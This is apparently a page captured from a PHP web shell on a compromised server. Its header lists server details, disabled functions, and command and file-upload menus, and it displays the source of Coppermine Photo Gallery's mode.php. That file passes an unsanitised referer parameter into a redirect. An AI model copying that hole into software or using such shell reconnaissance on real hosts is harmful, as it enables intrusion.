|
Server IP : 193.34.145.200 / Your IP : 216.73.216.19 Web Server : Apache System : Linux m2794.contaboserver.net 3.10.0-962.3.2.lve1.5.87.el7.x86_64 #1 SMP Tue Jan 28 09:38:56 UTC 2025 x86_64 User : adm4397 ( 1176) PHP Version : 8.2.28 Disable Function : show_source, system, shell_exec, passthru, popen, proc_open MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0755) : /home/adm4397/ssl/../php/../tmp/../www/../.HttpRequest/../php/../.ssh/../tmp/../www/bilder/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*************************
Coppermine Photo Gallery
************************
Copyright (c) 2003-2009 Coppermine Dev Team
v1.1 originally written by Gregory DEMAR
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3
as published by the Free Software Foundation.
********************************************
Coppermine version: 1.4.25
$HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/mode.php $
$Revision: 5997 $
$Author: gaugau $
$Date: 2009-05-26 08:43:24 +0200 (Di, 26 Mai 2009) $
**********************************************/
/**
* Coppermine Photo Gallery 1.3.0 mode.php
*
* Someone please add a description
*
* @copyright 2002,2003 Gregory DEMAR, Coppermine Dev Team
* @license http://www.gnu.org/licenses/gpl.html GNU General Public License V3
* @package Coppermine
* @version $Id: mode.php 5997 2009-05-26 06:43:24Z gaugau $
*/
define('IN_COPPERMINE', true);
define('MODE_PHP', true);
require('include/init.inc.php');
if (!USER_IS_ADMIN) cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);
if (!isset($_GET['admin_mode']) || !isset($_GET['referer'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);
$admin_mode = (int)$_GET['admin_mode'] ? 1 : 0;
$referer = $_GET['referer'] ? $_GET['referer'] : 'index.php';
$USER['am'] = $admin_mode;
if (!$admin_mode) $referer = 'index.php';
pageheader($lang_info, "<META http-equiv=\"refresh\" content=\"1;url=$referer\">");
msg_box($lang_info, $lang_mode_php[$admin_mode], $lang_continue, $referer);
pagefooter();
ob_end_flush();
?>